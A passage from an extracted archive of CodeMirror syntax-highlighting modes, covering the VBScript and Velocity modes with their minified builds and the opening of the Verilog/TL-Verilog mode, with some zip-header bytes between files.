        if (stream.match(builtinFuncs)) {
            return 'builtin';
        }

        if (stream.match(builtinObjs)){
            return 'variable-2';
        }

        if (stream.match(identifiers)) {
            return 'variable';
        }

        // Handle non-detected items
        stream.next();
        return ERRORCLASS;
    }

    function tokenStringFactory(delimiter) {
        var singleline = delimiter.length == 1;
        var OUTCLASS = 'string';

        return function(stream, state) {
            while (!stream.eol()) {
                stream.eatWhile(/[^'"]/);
                if (stream.match(delimiter)) {
                    state.tokenize = tokenBase;
                    return OUTCLASS;
                } else {
                    stream.eat(/['"]/);
                }
            }
            if (singleline) {
                if (parserConf.singleLineStringErrors) {
                    return ERRORCLASS;
                } else {
                    state.tokenize = tokenBase;
                }
            }
            return OUTCLASS;
        };
    }


    function tokenLexer(stream, state) {
        var style = state.tokenize(stream, state);
        var current = stream.current();

        // Handle '.' connected identifiers
        if (current === '.') {
            style = state.tokenize(stream, state);

            current = stream.current();
            if (style && (style.substr(0, 8) ===
'variable' || style==='builtin' ||
style==='keyword')){//|| knownWords.indexOf(current.substring(1))
> -1) {
                if (style === 'builtin' || style ===
'keyword') style='variable';
                if (knownWords.indexOf(current.substr(1)) > -1)
style='variable-2';

                return style;
            } else {
                return ERRORCLASS;
            }
        }

        return style;
    }

    var external = {
        electricChars:"dDpPtTfFeE ",
        startState: function() {
            return {
              tokenize: tokenBase,
              lastToken: null,
              currentIndent: 0,
              nextLineIndent: 0,
              doInCurrentLine: false,
              ignoreKeyword: false


          };
        },

        token: function(stream, state) {
            if (stream.sol()) {
              state.currentIndent += state.nextLineIndent;
              state.nextLineIndent = 0;
              state.doInCurrentLine = 0;
            }
            var style = tokenLexer(stream, state);

            state.lastToken = {style:style, content: stream.current()};

            if (style==='space') style=null;

            return style;
        },

        indent: function(state, textAfter) {
            var trueText = textAfter.replace(/^\s+|\s+$/g, '') ;
            if (trueText.match(closing) || trueText.match(doubleClosing) ||
trueText.match(middle)) return conf.indentUnit*(state.currentIndent-1);
            if(state.currentIndent < 0) return 0;
            return state.currentIndent * conf.indentUnit;
        }

    };
    return external;
});

CodeMirror.defineMIME("text/vbscript", "vbscript");

});
PKP��[�@���(codemirror/mode/vbscript/vbscript.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("vbscript",(function(a,b){function
c(a){return new
RegExp("^(("+a.join(")|(")+"))\\b","i")}function
d(a,b){b.currentIndent++}function e(a,b){b.currentIndent--}function
f(a,b){if(a.eatSpace())return"space";if("'"===a.peek())return
a.skipToEnd(),"comment";if(a.match(P))return
a.skipToEnd(),"comment";if(a.match(/^((&H)|(&O))?[0-9\.]/i,!1)&&!a.match(/^((&H)|(&O))?[0-9\.]+[a-z_]/i,!1)){var
c=!1;if(a.match(/^\d*\.\d+/i)?c=!0:a.match(/^\d+\.\d*/)?c=!0:a.match(/^\.\d+/)&&(c=!0),c)return
a.eat(/J/i),"number";var
f=!1;if(a.match(/^&H[0-9a-f]+/i)?f=!0:a.match(/^&O[0-7]+/i)?f=!0:a.match(/^[1-9]\d*F?/)?(a.eat(/J/i),f=!0):a.match(/^0(?![\dx])/i)&&(f=!0),f)return
a.eat(/L/i),"number"}return
a.match(I)?(b.tokenize=g(a.current()),b.tokenize(a,b)):a.match(k)||a.match(j)||a.match(r)?"operator":a.match(l)?null:a.match(m)?"bracket":a.match(O)?(b.doInCurrentLine=!0,"keyword"):a.match(N)?(d(a,b),b.doInCurrentLine=!0,"keyword"):a.match(J)?(b.doInCurrentLine?b.doInCurrentLine=!1:d(a,b),"keyword"):a.match(K)?"keyword":a.match(M)?(e(a,b),e(a,b),"keyword"):a.match(L)?(b.doInCurrentLine?b.doInCurrentLine=!1:e(a,b),"keyword"):a.match(D)?"keyword":a.match(E)?"atom":a.match(H)?"variable-2":a.match(F)?"builtin":a.match(G)?"variable-2":a.match(n)?"variable":(a.next(),i)}function
g(a){var c=1==a.length;return
function(d,e){for(;!d.eol();){if(d.eatWhile(/[^'"]/),d.match(a))return
e.tokenize=f,"string";d.eat(/['"]/)}if(c){if(b.singleLineStringErrors)return
i;e.tokenize=f}return"string"}}function h(a,b){var
c=b.tokenize(a,b),d=a.current();return"."===d?(c=b.tokenize(a,b),d=a.current(),!c||"variable"!==c.substr(0,8)&&"builtin"!==c&&"keyword"!==c?i:("builtin"!==c&&"keyword"!==c||(c="variable"),C.indexOf(d.substr(1))>-1&&(c="variable-2"),c)):c}var
i="error",j=new
RegExp("^[\\+\\-\\*/&\\\\\\^<>=]"),k=new
RegExp("^((<>)|(<=)|(>=))"),l=new
RegExp("^[\\.,]"),m=new RegExp("^[\\(\\)]"),n=new
RegExp("^[A-Za-z][_A-Za-z0-9]*"),o=["class","sub","select","while","if","function","property","with","for"],p=["else","elseif","case"],q=["next","loop","wend"],r=c(["and","or","not","xor","is","mod","eqv","imp"]),s=["dim","redim","then","until","randomize","byval","byref","new","property","exit","in","const","private","public","get","set","let","stop","on
error resume next","on error goto 0","option
explicit","call","me"],t=["true","false","nothing","empty","null"],u=["abs","array","asc","atn","cbool","cbyte","ccur","cdate","cdbl","chr","cint","clng","cos","csng","cstr","date","dateadd","datediff","datepart","dateserial","datevalue","day","escape","eval","execute","exp","filter","formatcurrency","formatdatetime","formatnumber","formatpercent","getlocale","getobject","getref","hex","hour","inputbox","instr","instrrev","int","fix","isarray","isdate","isempty","isnull","isnumeric","isobject","join","lbound","lcase","left","len","loadpicture","log","ltrim","rtrim","trim","maths","mid","minute","month","monthname","msgbox","now","oct","replace","rgb","right","rnd","round","scriptengine","scriptenginebuildversion","scriptenginemajorversion","scriptengineminorversion","second","setlocale","sgn","sin","space","split","sqr","strcomp","string","strreverse","tan","time","timer","timeserial","timevalue","typename","ubound","ucase","unescape","vartype","weekday","weekdayname","year"],v=["vbBlack","vbRed","vbGreen","vbYellow","vbBlue","vbMagenta","vbCyan","vbWhite","vbBinaryCompare","vbTextCompare","vbSunday","vbMonday","vbTuesday","vbWednesday","vbThursday","vbFriday","vbSaturday","vbUseSystemDayOfWeek","vbFirstJan1","vbFirstFourDays","vbFirstFullWeek","vbGeneralDate","vbLongDate","vbShortDate","vbLongTime","vbShortTime","vbObjectError","vbOKOnly","vbOKCancel","vbAbortRetryIgnore","vbYesNoCancel","vbYesNo","vbRetryCancel","vbCritical","vbQuestion","vbExclamation","vbInformation","vbDefaultButton1","vbDefaultButton2","vbDefaultButton3","vbDefaultButton4","vbApplicationModal","vbSystemModal","vbOK","vbCancel","vbAbort","vbRetry","vbIgnore","vbYes","vbNo","vbCr","VbCrLf","vbFormFeed","vbLf","vbNewLine","vbNullChar","vbNullString","vbTab","vbVerticalTab","vbUseDefault","vbTrue","vbFalse","vbEmpty","vbNull","vbInteger","vbLong","vbSingle","vbDouble","vbCurrency","vbDate","vbString","vbObject","vbError","vbBoolean","vbVariant","vbDataObject","vbDecimal","vbByte","vbArray"],w=["WScript","err","debug","RegExp"],x=["description","firstindex","global","helpcontext","helpfile","ignorecase","length","number","pattern","source","value","count"],y=["clear","execute","raise","replace","test","write","writeline","close","open","state","eof","update","addnew","end","createobject","quit"],z=["server","response","request","session","application"],A=["buffer","cachecontrol","charset","contenttype","expires","expiresabsolute","isclientconnected","pics","status","clientcertificate","cookies","form","querystring","servervariables","totalbytes","contents","staticobjects","codepage","lcid","sessionid","timeout","scripttimeout"],B=["addheader","appendtolog","binarywrite","end","flush","redirect","binaryread","remove","removeall","lock","unlock","abandon","getlasterror","htmlencode","mappath","transfer","urlencode"],C=y.concat(x);w=w.concat(v),a.isASP&&(w=w.concat(z),C=C.concat(B,A));var
D=c(s),E=c(t),F=c(u),G=c(w),H=c(C),I='"',J=c(o),K=c(p),L=c(q),M=c(["end"]),N=c(["do"]),O=c(["on
error resume
next","exit"]),P=c(["rem"]);return{electricChars:"dDpPtTfFeE
",startState:function(){return{tokenize:f,lastToken:null,currentIndent:0,nextLineIndent:0,doInCurrentLine:!1,ignoreKeyword:!1}},token:function(a,b){a.sol()&&(b.currentIndent+=b.nextLineIndent,b.nextLineIndent=0,b.doInCurrentLine=0);var
c=h(a,b);return
b.lastToken={style:c,content:a.current()},"space"===c&&(c=null),c},indent:function(b,c){var
d=c.replace(/^\s+|\s+$/g,"");return
d.match(L)||d.match(M)||d.match(K)?a.indentUnit*(b.currentIndent-1):b.currentIndent<0?0:b.currentIndent*a.indentUnit}}})),a.defineMIME("text/vbscript","vbscript")}));PKP��[b�˼�$codemirror/mode/velocity/velocity.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("velocity", function() {
    function parseWords(str) {
        var obj = {}, words = str.split(" ");
        for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
        return obj;
    }

    var keywords = parseWords("#end #else #break #stop #[[ #]] "
+
                              "#{end} #{else} #{break} #{stop}");
    var functions = parseWords("#if #elseif #foreach #set #include
#parse #macro #define #evaluate " +
                               "#{if} #{elseif} #{foreach} #{set}
#{include} #{parse} #{macro} #{define} #{evaluate}");
    var specials = parseWords("$foreach.count $foreach.hasNext
$foreach.first $foreach.last $foreach.topmost $foreach.parent.count
$foreach.parent.hasNext $foreach.parent.first $foreach.parent.last
$foreach.parent $velocityCount $!bodyContent $bodyContent");
    var isOperatorChar = /[+\-*&%=<>!?:\/|]/;

    function chain(stream, state, f) {
        state.tokenize = f;
        return f(stream, state);
    }
    function tokenBase(stream, state) {
        var beforeParams = state.beforeParams;
        state.beforeParams = false;
        var ch = stream.next();
        // start of unparsed string?
        if ((ch == "'") && !state.inString
&& state.inParams) {
            state.lastTokenWasBuiltin = false;
            return chain(stream, state, tokenString(ch));
        }
        // start of parsed string?
        else if ((ch == '"')) {
            state.lastTokenWasBuiltin = false;
            if (state.inString) {
                state.inString = false;
                return "string";
            }
            else if (state.inParams)
                return chain(stream, state, tokenString(ch));
        }
        // is it one of the special signs []{}().,;? Seperator?
        else if (/[\[\]{}\(\),;\.]/.test(ch)) {
            if (ch == "(" && beforeParams)
                state.inParams = true;
            else if (ch == ")") {
                state.inParams = false;
                state.lastTokenWasBuiltin = true;
            }
            return null;
        }
        // start of a number value?
        else if (/\d/.test(ch)) {
            state.lastTokenWasBuiltin = false;
            stream.eatWhile(/[\w\.]/);
            return "number";
        }
        // multi line comment?
        else if (ch == "#" && stream.eat("*"))
{
            state.lastTokenWasBuiltin = false;
            return chain(stream, state, tokenComment);
        }
        // unparsed content?
        else if (ch == "#" && stream.match(/ *\[ *\[/)) {
            state.lastTokenWasBuiltin = false;
            return chain(stream, state, tokenUnparsed);
        }
        // single line comment?
        else if (ch == "#" && stream.eat("#"))
{
            state.lastTokenWasBuiltin = false;
            stream.skipToEnd();
            return "comment";
        }
        // variable?
        else if (ch == "$") {
            stream.eatWhile(/[\w\d\$_\.{}-]/);
            // is it one of the specials?
            if (specials &&
specials.propertyIsEnumerable(stream.current())) {
                return "keyword";
            }
            else {
                state.lastTokenWasBuiltin = true;
                state.beforeParams = true;
                return "builtin";
            }
        }
        // is it a operator?
        else if (isOperatorChar.test(ch)) {
            state.lastTokenWasBuiltin = false;
            stream.eatWhile(isOperatorChar);
            return "operator";
        }
        else {
            // get the whole word
            stream.eatWhile(/[\w\$_{}@]/);
            var word = stream.current();
            // is it one of the listed keywords?
            if (keywords && keywords.propertyIsEnumerable(word))
                return "keyword";
            // is it one of the listed functions?
            if (functions && functions.propertyIsEnumerable(word)
||
                    (stream.current().match(/^#@?[a-z0-9_]+ *$/i)
&& stream.peek()=="(") &&
                     !(functions &&
functions.propertyIsEnumerable(word.toLowerCase()))) {
                state.beforeParams = true;
                state.lastTokenWasBuiltin = false;
                return "keyword";
            }
            if (state.inString) {
                state.lastTokenWasBuiltin = false;
                return "string";
            }
            if (stream.pos > word.length &&
stream.string.charAt(stream.pos-word.length-1)=="." &&
state.lastTokenWasBuiltin)
                return "builtin";
            // default: just a "word"
            state.lastTokenWasBuiltin = false;
            return null;
        }
    }

    function tokenString(quote) {
        return function(stream, state) {
            var escaped = false, next, end = false;
            while ((next = stream.next()) != null) {
                if ((next == quote) && !escaped) {
                    end = true;
                    break;
                }
                if (quote=='"' && stream.peek() ==
'$' && !escaped) {
                    state.inString = true;
                    end = true;
                    break;
                }
                escaped = !escaped && next == "\\";
            }
            if (end) state.tokenize = tokenBase;
            return "string";
        };
    }

    function tokenComment(stream, state) {
        var maybeEnd = false, ch;
        while (ch = stream.next()) {
            if (ch == "#" && maybeEnd) {
                state.tokenize = tokenBase;
                break;
            }
            maybeEnd = (ch == "*");
        }
        return "comment";
    }

    function tokenUnparsed(stream, state) {
        var maybeEnd = 0, ch;
        while (ch = stream.next()) {
            if (ch == "#" && maybeEnd == 2) {
                state.tokenize = tokenBase;
                break;
            }
            if (ch == "]")
                maybeEnd++;
            else if (ch != " ")
                maybeEnd = 0;
        }
        return "meta";
    }
    // Interface

    return {
        startState: function() {
            return {
                tokenize: tokenBase,
                beforeParams: false,
                inParams: false,
                inString: false,
                lastTokenWasBuiltin: false
            };
        },

        token: function(stream, state) {
            if (stream.eatSpace()) return null;
            return state.tokenize(stream, state);
        },
        blockCommentStart: "#*",
        blockCommentEnd: "*#",
        lineComment: "##",
        fold: "velocity"
    };
});

CodeMirror.defineMIME("text/velocity", "velocity");

});
PKP��[���aa(codemirror/mode/velocity/velocity.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("velocity",(function(){function
a(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function b(a,b,c){return
b.tokenize=c,c(a,b)}function c(a,c){var
k=c.beforeParams;c.beforeParams=!1;var
l=a.next();if("'"==l&&!c.inString&&c.inParams)return
c.lastTokenWasBuiltin=!1,b(a,c,d(l));if('"'!=l){if(/[\[\]{}\(\),;\.]/.test(l))return"("==l&&k?c.inParams=!0:")"==l&&(c.inParams=!1,c.lastTokenWasBuiltin=!0),null;if(/\d/.test(l))return
c.lastTokenWasBuiltin=!1,a.eatWhile(/[\w\.]/),"number";if("#"==l&&a.eat("*"))return
c.lastTokenWasBuiltin=!1,b(a,c,e);if("#"==l&&a.match(/
*\[ *\[/))return
c.lastTokenWasBuiltin=!1,b(a,c,f);if("#"==l&&a.eat("#"))return
c.lastTokenWasBuiltin=!1,a.skipToEnd(),"comment";if("$"==l)return
a.eatWhile(/[\w\d\$_\.{}-]/),i&&i.propertyIsEnumerable(a.current())?"keyword":(c.lastTokenWasBuiltin=!0,c.beforeParams=!0,"builtin");if(j.test(l))return
c.lastTokenWasBuiltin=!1,a.eatWhile(j),"operator";a.eatWhile(/[\w\$_{}@]/);var
m=a.current();return
g&&g.propertyIsEnumerable(m)?"keyword":h&&h.propertyIsEnumerable(m)||a.current().match(/^#@?[a-z0-9_]+
*$/i)&&"("==a.peek()&&(!h||!h.propertyIsEnumerable(m.toLowerCase()))?(c.beforeParams=!0,c.lastTokenWasBuiltin=!1,"keyword"):c.inString?(c.lastTokenWasBuiltin=!1,"string"):a.pos>m.length&&"."==a.string.charAt(a.pos-m.length-1)&&c.lastTokenWasBuiltin?"builtin":(c.lastTokenWasBuiltin=!1,null)}return
c.lastTokenWasBuiltin=!1,c.inString?(c.inString=!1,"string"):c.inParams?b(a,c,d(l)):void
0}function d(a){return function(b,d){for(var
e,f=!1,g=!1;null!=(e=b.next());){if(e==a&&!f){g=!0;break}if('"'==a&&"$"==b.peek()&&!f){d.inString=!0,g=!0;break}f=!f&&"\\"==e}return
g&&(d.tokenize=c),"string"}}function e(a,b){for(var
d,e=!1;d=a.next();){if("#"==d&&e){b.tokenize=c;break}e="*"==d}return"comment"}function
f(a,b){for(var
d,e=0;d=a.next();){if("#"==d&&2==e){b.tokenize=c;break}"]"==d?e++:"
"!=d&&(e=0)}return"meta"}var g=a("#end #else
#break #stop #[[ #]] #{end} #{else} #{break} #{stop}"),h=a("#if
#elseif #foreach #set #include #parse #macro #define #evaluate #{if}
#{elseif} #{foreach} #{set} #{include} #{parse} #{macro} #{define}
#{evaluate}"),i=a("$foreach.count $foreach.hasNext $foreach.first
$foreach.last $foreach.topmost $foreach.parent.count
$foreach.parent.hasNext $foreach.parent.first $foreach.parent.last
$foreach.parent $velocityCount $!bodyContent
$bodyContent"),j=/[+\-*&%=<>!?:\/|]/;return{startState:function(){return{tokenize:c,beforeParams:!1,inParams:!1,inString:!1,lastTokenWasBuiltin:!1}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)},blockCommentStart:"#*",blockCommentEnd:"*#",lineComment:"##",fold:"velocity"}})),a.defineMIME("text/velocity","velocity")}));PKP��[\W9�!`!`"codemirror/mode/verilog/verilog.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("verilog", function(config, parserConfig) {

  var indentUnit = config.indentUnit,
      statementIndentUnit = parserConfig.statementIndentUnit || indentUnit,
      dontAlignCalls = parserConfig.dontAlignCalls,
      noIndentKeywords = parserConfig.noIndentKeywords || [],
      multiLineStrings = parserConfig.multiLineStrings,
      hooks = parserConfig.hooks || {};

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  /**
   * Keywords from IEEE 1800-2012
   */
  var keywords = words(
    "accept_on alias always always_comb always_ff always_latch and
assert assign assume automatic before begin bind " +
    "bins binsof bit break buf bufif0 bufif1 byte case casex casez
cell chandle checker class clocking cmos config " +
    "const constraint context continue cover covergroup coverpoint
cross deassign default defparam design disable " +
    "dist do edge else end endcase endchecker endclass endclocking
endconfig endfunction endgenerate endgroup " +
    "endinterface endmodule endpackage endprimitive endprogram
endproperty endspecify endsequence endtable endtask " +
    "enum event eventually expect export extends extern final
first_match for force foreach forever fork forkjoin " +
    "function generate genvar global highz0 highz1 if iff ifnone
ignore_bins illegal_bins implements implies import " +
    "incdir include initial inout input inside instance int integer
interconnect interface intersect join join_any " +
    "join_none large let liblist library local localparam logic
longint macromodule matches medium modport module " +
    "nand negedge nettype new nexttime nmos nor noshowcancelled not
notif0 notif1 null or output package packed " +
    "parameter pmos posedge primitive priority program property
protected pull0 pull1 pulldown pullup " +
    "pulsestyle_ondetect pulsestyle_onevent pure rand randc randcase
randsequence rcmos real realtime ref reg " +
    "reject_on release repeat restrict return rnmos rpmos rtran
rtranif0 rtranif1 s_always s_eventually s_nexttime " +
    "s_until s_until_with scalared sequence shortint shortreal
showcancelled signed small soft solve specify " +
    "specparam static string strong strong0 strong1 struct super
supply0 supply1 sync_accept_on sync_reject_on " +
    "table tagged task this throughout time timeprecision timeunit
tran tranif0 tranif1 tri tri0 tri1 triand trior " +
    "trireg type typedef union unique unique0 unsigned until
until_with untyped use uwire var vectored virtual void " +
    "wait wait_order wand weak weak0 weak1 while wildcard wire with
within wor xnor xor");

  /** Operators from IEEE 1800-2012
     unary_operator ::=
       + | - | ! | ~ | & | ~& | | | ~| | ^ | ~^ | ^~
     binary_operator ::=
       + | - | * | / | % | == | != | === | !== | ==? | !=? | && |
|| | **
       | < | <= | > | >= | & | | | ^ | ^~ | ~^ | >> |
<< | >>> | <<<
       | -> | <->
     inc_or_dec_operator ::= ++ | --
     unary_module_path_operator ::=
       ! | ~ | & | ~& | | | ~| | ^ | ~^ | ^~
     binary_module_path_operator ::=
       == | != | && | || | & | | | ^ | ^~ | ~^
  */
  var isOperatorChar = /[\+\-\*\/!~&|^%=?:]/;
  var isBracketChar = /[\[\]{}()]/;

  var unsignedNumber = /\d[0-9_]*/;
  var decimalLiteral = /\d*\s*'s?d\s*\d[0-9_]*/i;
  var binaryLiteral = /\d*\s*'s?b\s*[xz01][xz01_]*/i;
  var octLiteral = /\d*\s*'s?o\s*[xz0-7][xz0-7_]*/i;
  var hexLiteral = /\d*\s*'s?h\s*[0-9a-fxz?][0-9a-fxz?_]*/i;
  var realLiteral =
/(\d[\d_]*(\.\d[\d_]*)?E-?[\d_]+)|(\d[\d_]*\.\d[\d_]*)/i;

  var closingBracketOrWord = /^((\w+)|[)}\]])/;
  var closingBracket = /[)}\]]/;

  var curPunc;
  var curKeyword;

  // Block openings which are closed by a matching keyword in the form of
("end" + keyword)
  // E.g. "task" => "endtask"
  var blockKeywords = words(
    "case checker class clocking config function generate interface
module package " +
    "primitive program property specify sequence table task"
  );

  // Opening/closing pairs
  var openClose = {};
  for (var keyword in blockKeywords) {
    openClose[keyword] = "end" + keyword;
  }
  openClose["begin"] = "end";
  openClose["casex"] = "endcase";
  openClose["casez"] = "endcase";
  openClose["do"   ] = "while";
  openClose["fork" ] = "join;join_any;join_none";
  openClose["covergroup"] = "endgroup";

  for (var i in noIndentKeywords) {
    var keyword = noIndentKeywords[i];
    if (openClose[keyword]) {
      openClose[keyword] = undefined;
    }
  }

  // Keywords which open statements that are ended with a semi-colon
  var statementKeywords = words("always always_comb always_ff
always_latch assert assign assume else export for foreach forever if import
initial repeat while");

  function tokenBase(stream, state) {
    var ch = stream.peek(), style;
    if (hooks[ch] && (style = hooks[ch](stream, state)) != false)
return style;
    if (hooks.tokenBase && (style = hooks.tokenBase(stream, state))
!= false)
      return style;

    if (/[,;:\.]/.test(ch)) {
      curPunc = stream.next();
      return null;
    }
    if (isBracketChar.test(ch)) {
      curPunc = stream.next();
      return "bracket";
    }
    // Macros (tick-defines)
    if (ch == '`') {
      stream.next();
      if (stream.eatWhile(/[\w\$_]/)) {
        return "def";
      } else {
        return null;
      }
    }
    // System calls
    if (ch == '$') {
      stream.next();
      if (stream.eatWhile(/[\w\$_]/)) {
        return "meta";
      } else {
        return null;
      }
    }
    // Time literals
    if (ch == '#') {
      stream.next();
      stream.eatWhile(/[\d_.]/);
      return "def";
    }
    // Strings
    if (ch == '"') {
      stream.next();
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    // Comments
    if (ch == "/") {
      stream.next();
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      }
      if (stream.eat("/")) {
        stream.skipToEnd();
        return "comment";
      }
      stream.backUp(1);
    }

    // Numeric literals
    if (stream.match(realLiteral) ||
        stream.match(decimalLiteral) ||
        stream.match(binaryLiteral) ||
        stream.match(octLiteral) ||
        stream.match(hexLiteral) ||
        stream.match(unsignedNumber) ||
        stream.match(realLiteral)) {
      return "number";
    }

    // Operators
    if (stream.eatWhile(isOperatorChar)) {
      return "meta";
    }

    // Keywords / plain variables
    if (stream.eatWhile(/[\w\$_]/)) {
      var cur = stream.current();
      if (keywords[cur]) {
        if (openClose[cur]) {
          curPunc = "newblock";
        }
        if (statementKeywords[cur]) {
          curPunc = "newstatement";
        }
        curKeyword = cur;
        return "keyword";
      }
      return "variable";
    }

    stream.next();
    return null;
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) {end = true; break;}
        escaped = !escaped && next == "\\";
      }
      if (end || !(escaped || multiLineStrings))
        state.tokenize = tokenBase;
      return "string";
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return "comment";
  }

  function Context(indented, column, type, align, prev) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.align = align;
    this.prev = prev;
  }
  function pushContext(state, col, type) {
    var indent = state.indented;
    var c = new Context(indent, col, type, null, state.context);
    return state.context = c;
  }
  function popContext(state) {
    var t = state.context.type;
    if (t == ")" || t == "]" || t == "}") {
      state.indented = state.context.indented;
    }
    return state.context = state.context.prev;
  }

  function isClosing(text, contextClosing) {
    if (text == contextClosing) {
      return true;
    } else {
      // contextClosing may be multiple keywords separated by ;
      var closingKeywords = contextClosing.split(";");
      for (var i in closingKeywords) {
        if (text == closingKeywords[i]) {
          return true;
        }
      }
      return false;
    }
  }

  function buildElectricInputRegEx() {
    // Reindentation should occur on any bracket char: {}()[]
    // or on a match of any of the block closing keywords, at
    // the end of a line
    var allClosings = [];
    for (var i in openClose) {
      if (openClose[i]) {
        var closings = openClose[i].split(";");
        for (var j in closings) {
          allClosings.push(closings[j]);
        }
      }
    }
    var re = new RegExp("[{}()\\[\\]]|(" +
allClosings.join("|") + ")$");
    return re;
  }

  // Interface
  return {

    // Regex to force current line to reindent
    electricInput: buildElectricInputRegEx(),

    startState: function(basecolumn) {
      var state = {
        tokenize: null,
        context: new Context((basecolumn || 0) - indentUnit, 0,
"top", false),
        indented: 0,
        startOfLine: true
      };
      if (hooks.startState) hooks.startState(state);
      return state;
    },

    token: function(stream, state) {
      var ctx = state.context;
      if (stream.sol()) {
        if (ctx.align == null) ctx.align = false;
        state.indented = stream.indentation();
        state.startOfLine = true;
      }
      if (hooks.token) {
        // Call hook, with an optional return value of a style to override
verilog styling.
        var style = hooks.token(stream, state);
        if (style !== undefined) {
          return style;
        }
      }
      if (stream.eatSpace()) return null;
      curPunc = null;
      curKeyword = null;
      var style = (state.tokenize || tokenBase)(stream, state);
      if (style == "comment" || style == "meta" ||
style == "variable") return style;
      if (ctx.align == null) ctx.align = true;

      if (curPunc == ctx.type) {
        popContext(state);
      } else if ((curPunc == ";" && ctx.type ==
"statement") ||
               (ctx.type && isClosing(curKeyword, ctx.type))) {
        ctx = popContext(state);
        while (ctx && ctx.type == "statement") ctx =
popContext(state);
      } else if (curPunc == "{") {
        pushContext(state, stream.column(), "}");
      } else if (curPunc == "[") {
        pushContext(state, stream.column(), "]");
      } else if (curPunc == "(") {
        pushContext(state, stream.column(), ")");
      } else if (ctx && ctx.type == "endcase" &&
curPunc == ":") {
        pushContext(state, stream.column(), "statement");
      } else if (curPunc == "newstatement") {
        pushContext(state, stream.column(), "statement");
      } else if (curPunc == "newblock") {
        if (curKeyword == "function" && ctx &&
(ctx.type == "statement" || ctx.type == "endgroup")) {
          // The 'function' keyword can appear in some other
contexts where it actually does not
          // indicate a function (import/export DPI and covergroup
definitions).
          // Do nothing in this case
        } else if (curKeyword == "task" && ctx &&
ctx.type == "statement") {
          // Same thing for task
        } else {
          var close = openClose[curKeyword];
          pushContext(state, stream.column(), close);
        }
      }

      state.startOfLine = false;
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize != tokenBase && state.tokenize != null)
return CodeMirror.Pass;
      if (hooks.indent) {
        var fromHook = hooks.indent(state);
        if (fromHook >= 0) return fromHook;
      }
      var ctx = state.context, firstChar = textAfter &&
textAfter.charAt(0);
      if (ctx.type == "statement" && firstChar ==
"}") ctx = ctx.prev;
      var closing = false;
      var possibleClosing = textAfter.match(closingBracketOrWord);
      if (possibleClosing)
        closing = isClosing(possibleClosing[0], ctx.type);
      if (ctx.type == "statement") return ctx.indented +
(firstChar == "{" ? 0 : statementIndentUnit);
      else if (closingBracket.test(ctx.type) && ctx.align
&& !dontAlignCalls) return ctx.column + (closing ? 0 : 1);
      else if (ctx.type == ")" && !closing) return
ctx.indented + statementIndentUnit;
      else return ctx.indented + (closing ? 0 : indentUnit);
    },

    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: "//",
    fold: "indent"
  };
});

  CodeMirror.defineMIME("text/x-verilog", {
    name: "verilog"
  });

  CodeMirror.defineMIME("text/x-systemverilog", {
    name: "verilog"
  });



  // TL-Verilog mode.
  // See tl-x.org for language spec.
  // See the mode in action at makerchip.com.
  // Contact: steve.hoover@redwoodeda.com

  // TLV Identifier prefixes.
  // Note that sign is not treated separately, so "+/-" versions
of numeric identifiers
  // are included.
  var tlvIdentifierStyle = {
    "|": "link",
    ">": "property",  // Should condition this off
for > TLV 1c.
    "$": "variable",
    "$$": "variable",
    "?$": "qualifier",
    "?*": "qualifier",
    "-": "hr",
    "/": "property",
    "/-": "property",
    "@": "variable-3",
    "@-": "variable-3",
    "@++": "variable-3",
    "@+=": "variable-3",
    "@+=-": "variable-3",
    "@--": "variable-3",
    "@-=": "variable-3",
    "%+": "tag",
    "%-": "tag",
    "%": "tag",
    ">>": "tag",
    "<<": "tag",
    "<>": "tag",
    "#": "tag",  // Need to choose a style for this.
    "^": "attribute",
    "^^": "attribute",
    "^!": "attribute",
    "*": "variable-2",
    "**": "variable-2",
    "\\": "keyword",
    "\"": "comment"
  };

  // Lines starting with these characters define scope (result in
indentation).
  var tlvScopePrefixChars = {
    "/": "beh-hier",
    ">": "beh-hier",
    "-": "phys-hier",
    "|": "pipe",
    "?": "when",
    "@": "stage",
    "\\": "keyword"
  };
  var tlvIndentUnit = 3;
  var tlvTrackStatements = false;
  var tlvIdentMatch =
/^([~!@#\$%\^&\*-\+=\?\/\\\|'"<>]+)([\d\w_]*)/;  //
Matches an identifiere.
  // Note that ':' is excluded, because of it's use in [:].
  var tlvFirstLevelIndentMatch = /^[! ]  /;
  var tlvLineIndentationMatch = /^[! ] */;
  var tlvCommentMatch = /^\/[\/\*]/;


